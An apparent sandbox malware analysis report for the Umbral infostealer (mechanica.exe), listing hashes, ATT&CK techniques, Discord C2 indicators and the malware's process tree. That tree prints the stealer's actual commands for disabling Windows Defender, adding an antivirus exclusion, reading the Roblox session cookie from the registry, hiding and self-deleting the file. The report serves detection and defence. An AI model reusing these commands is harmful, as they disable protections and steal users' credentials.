umbral | 735ce0dc54202d20fe97e8849619dcbdb676263f702176f538059926f98a8054

Analysis

max time kernel
146s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
19-04-2024 04:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

mechanica.exe
Size

235KB
MD5

c0e8a2ef061d2da5952f7012a2284150
SHA1

820e883e45b719c5408b557ddb68435f72587876
SHA256

735ce0dc54202d20fe97e8849619dcbdb676263f702176f538059926f98a8054
SHA512

bcf5da34b1a480311d84de187401163500a6a93c06f569713429c8230421ef39121824fbaa25d97fecb3fedcafc161f0a31c94ce1f4aba02ed830d937ef8bb1c
SSDEEP

6144:zloZM+rIkd8g+EtXHkv/iD4rXcqAmB5K5/Cwhl0Ktb8e1mO6i:xoZtL+EP8rXcqAmB5K5/Cwhl0Ov

Score

10^/10

umbral spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3936-0-0x000002DAAE900000-0x000002DAAE940000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	mechanica.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	discord.com
6	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1548	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4884	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3936	mechanica.exe
3332	powershell.exe
3332	powershell.exe
2256	powershell.exe
2256	powershell.exe
3724	powershell.exe
3724	powershell.exe
2068	powershell.exe
2068	powershell.exe
2776	powershell.exe
2776	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3936	mechanica.exe
Token: SeIncreaseQuotaPrivilege	3564	wmic.exe
Token: SeSecurityPrivilege	3564	wmic.exe
Token: SeTakeOwnershipPrivilege	3564	wmic.exe
Token: SeLoadDriverPrivilege	3564	wmic.exe
Token: SeSystemProfilePrivilege	3564	wmic.exe
Token: SeSystemtimePrivilege	3564	wmic.exe
Token: SeProfSingleProcessPrivilege	3564	wmic.exe
Token: SeIncBasePriorityPrivilege	3564	wmic.exe
Token: SeCreatePagefilePrivilege	3564	wmic.exe
Token: SeBackupPrivilege	3564	wmic.exe
Token: SeRestorePrivilege	3564	wmic.exe
Token: SeShutdownPrivilege	3564	wmic.exe
Token: SeDebugPrivilege	3564	wmic.exe
Token: SeSystemEnvironmentPrivilege	3564	wmic.exe
Token: SeRemoteShutdownPrivilege	3564	wmic.exe
Token: SeUndockPrivilege	3564	wmic.exe
Token: SeManageVolumePrivilege	3564	wmic.exe
Token: 33	3564	wmic.exe
Token: 34	3564	wmic.exe
Token: 35	3564	wmic.exe
Token: 36	3564	wmic.exe
Token: SeIncreaseQuotaPrivilege	3564	wmic.exe
Token: SeSecurityPrivilege	3564	wmic.exe
Token: SeTakeOwnershipPrivilege	3564	wmic.exe
Token: SeLoadDriverPrivilege	3564	wmic.exe
Token: SeSystemProfilePrivilege	3564	wmic.exe
Token: SeSystemtimePrivilege	3564	wmic.exe
Token: SeProfSingleProcessPrivilege	3564	wmic.exe
Token: SeIncBasePriorityPrivilege	3564	wmic.exe
Token: SeCreatePagefilePrivilege	3564	wmic.exe
Token: SeBackupPrivilege	3564	wmic.exe
Token: SeRestorePrivilege	3564	wmic.exe
Token: SeShutdownPrivilege	3564	wmic.exe
Token: SeDebugPrivilege	3564	wmic.exe
Token: SeSystemEnvironmentPrivilege	3564	wmic.exe
Token: SeRemoteShutdownPrivilege	3564	wmic.exe
Token: SeUndockPrivilege	3564	wmic.exe
Token: SeManageVolumePrivilege	3564	wmic.exe
Token: 33	3564	wmic.exe
Token: 34	3564	wmic.exe
Token: 35	3564	wmic.exe
Token: 36	3564	wmic.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	3724	powershell.exe
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeIncreaseQuotaPrivilege	3348	wmic.exe
Token: SeSecurityPrivilege	3348	wmic.exe
Token: SeTakeOwnershipPrivilege	3348	wmic.exe
Token: SeLoadDriverPrivilege	3348	wmic.exe
Token: SeSystemProfilePrivilege	3348	wmic.exe
Token: SeSystemtimePrivilege	3348	wmic.exe
Token: SeProfSingleProcessPrivilege	3348	wmic.exe
Token: SeIncBasePriorityPrivilege	3348	wmic.exe
Token: SeCreatePagefilePrivilege	3348	wmic.exe
Token: SeBackupPrivilege	3348	wmic.exe
Token: SeRestorePrivilege	3348	wmic.exe
Token: SeShutdownPrivilege	3348	wmic.exe
Token: SeDebugPrivilege	3348	wmic.exe
Token: SeSystemEnvironmentPrivilege	3348	wmic.exe
Token: SeRemoteShutdownPrivilege	3348	wmic.exe
Token: SeUndockPrivilege	3348	wmic.exe
Token: SeManageVolumePrivilege	3348	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3936 wrote to memory of 3564	3936	mechanica.exe	81
PID 3936 wrote to memory of 3564	3936	mechanica.exe	81
PID 3936 wrote to memory of 3868	3936	mechanica.exe	84
PID 3936 wrote to memory of 3868	3936	mechanica.exe	84
PID 3936 wrote to memory of 3332	3936	mechanica.exe	86
PID 3936 wrote to memory of 3332	3936	mechanica.exe	86
PID 3936 wrote to memory of 2256	3936	mechanica.exe	88
PID 3936 wrote to memory of 2256	3936	mechanica.exe	88
PID 3936 wrote to memory of 3724	3936	mechanica.exe	90
PID 3936 wrote to memory of 3724	3936	mechanica.exe	90
PID 3936 wrote to memory of 2068	3936	mechanica.exe	92
PID 3936 wrote to memory of 2068	3936	mechanica.exe	92
PID 3936 wrote to memory of 3348	3936	mechanica.exe	94
PID 3936 wrote to memory of 3348	3936	mechanica.exe	94
PID 3936 wrote to memory of 3064	3936	mechanica.exe	96
PID 3936 wrote to memory of 3064	3936	mechanica.exe	96
PID 3936 wrote to memory of 128	3936	mechanica.exe	98
PID 3936 wrote to memory of 128	3936	mechanica.exe	98
PID 3936 wrote to memory of 2776	3936	mechanica.exe	100
PID 3936 wrote to memory of 2776	3936	mechanica.exe	100
PID 3936 wrote to memory of 1548	3936	mechanica.exe	102
PID 3936 wrote to memory of 1548	3936	mechanica.exe	102
PID 3936 wrote to memory of 3752	3936	mechanica.exe	104
PID 3936 wrote to memory of 3752	3936	mechanica.exe	104
PID 3752 wrote to memory of 4884	3752	cmd.exe	106
PID 3752 wrote to memory of 4884	3752	cmd.exe	106

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3868	attrib.exe

C:\Users\Admin\AppData\Local\Temp\mechanica.exe
"C:\Users\Admin\AppData\Local\Temp\mechanica.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3936
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3564
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\mechanica.exe"
  2⤵
  - Views/modifies file attributes
  PID:3868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\mechanica.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2068
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3348
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3064
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:128
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2776
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1548
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\mechanica.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3752
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:4884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
b7f2d3cce47cfcbd08e14e8211baa044

SHA1
30a00787a9b9ad56842293657c3a1ccaa8c0edc9

SHA256
b954f6623381085b581fdbcbcf5d757fb50fc286c654ec4f00ea5ca59e488694

SHA512
c5c8f7075cda3f30555beb58a0a9eaa871b9a7a7c5e221dc89c3b0fafdb0980cfbd70a345636f2923c0dae1440fd3f8acc2900110c62c09cda64c9badbe03d01

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
a90b4707584041171553e72b34bfc940

SHA1
70eb4843983d6b57a7f255ace1e5cf3d068d7011

SHA256
378d2414a7626d27d1734ed4f5c9df44569aa85ee20939274c7d638e53b9cb1d

SHA512
2b02e49648472bb20675e5cc711a6a7481a3b185fc23408301dcf46f344e42241dab16134059be6ede27c9af744f5d0060758efcd0b6a6768c2ef486b3f4882e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
38ecc5b95c11e5a77558753102979c51

SHA1
c0759b08ef377df9979d8835d8a7e464cd8eaf6b

SHA256
2eb69abe0af5a2fb5bb313533cef641e25016876b874353f7d737c7ad672c79e

SHA512
9bf4ce3bc097bdd0242bd105c936a9c9403d5ac83ec99e6a310591a7b8d26309485f3e0cdc4cba67c322f834c325a2b63a008adb078f3a3307094c4b68a48686

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yszyk2ld.xns.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2068-81-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/2068-70-0x0000027DA5830000-0x0000027DA5840000-memory.dmp

Filesize
64KB

Download
memory/2068-68-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/2068-69-0x0000027DA5830000-0x0000027DA5840000-memory.dmp

Filesize
64KB

Download
memory/2256-27-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/2256-35-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/2256-29-0x0000012A28CA0000-0x0000012A28CB0000-memory.dmp

Filesize
64KB

Download
memory/2256-30-0x0000012A28CA0000-0x0000012A28CB0000-memory.dmp

Filesize
64KB

Download
memory/2256-31-0x0000012A28CA0000-0x0000012A28CB0000-memory.dmp

Filesize
64KB

Download
memory/2256-34-0x0000012A28CA0000-0x0000012A28CB0000-memory.dmp

Filesize
64KB

Download
memory/2776-88-0x0000024C36540000-0x0000024C36550000-memory.dmp

Filesize
64KB

Download
memory/2776-98-0x0000024C36540000-0x0000024C36550000-memory.dmp

Filesize
64KB

Download
memory/2776-87-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/2776-100-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/3332-14-0x0000021A74850000-0x0000021A74860000-memory.dmp

Filesize
64KB

Download
memory/3332-3-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/3332-4-0x0000021A74850000-0x0000021A74860000-memory.dmp

Filesize
64KB

Download
memory/3332-5-0x0000021A74360000-0x0000021A74382000-memory.dmp

Filesize
136KB

Download
memory/3332-17-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/3724-43-0x000002383BD30000-0x000002383BD40000-memory.dmp

Filesize
64KB

Download
memory/3724-67-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/3724-65-0x000002383BD30000-0x000002383BD40000-memory.dmp

Filesize
64KB

Download
memory/3724-42-0x000002383BD30000-0x000002383BD40000-memory.dmp

Filesize
64KB

Download
memory/3724-41-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/3936-38-0x000002DAC9110000-0x000002DAC9186000-memory.dmp

Filesize
472KB

Download
memory/3936-2-0x000002DAC8F30000-0x000002DAC8F40000-memory.dmp

Filesize
64KB

Download
memory/3936-83-0x000002DAC90E0000-0x000002DAC90EA000-memory.dmp

Filesize
40KB

Download
memory/3936-84-0x000002DAC9190000-0x000002DAC91A2000-memory.dmp

Filesize
72KB

Download
memory/3936-40-0x000002DAB0630000-0x000002DAB064E000-memory.dmp

Filesize
120KB

Download
memory/3936-39-0x000002DAC9090000-0x000002DAC90E0000-memory.dmp

Filesize
320KB

Download
memory/3936-1-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/3936-0-0x000002DAAE900000-0x000002DAAE940000-memory.dmp

Filesize
256KB

Download
memory/3936-33-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download
memory/3936-105-0x00007FFADB4D0000-0x00007FFADBF92000-memory.dmp

Filesize
10.8MB

Download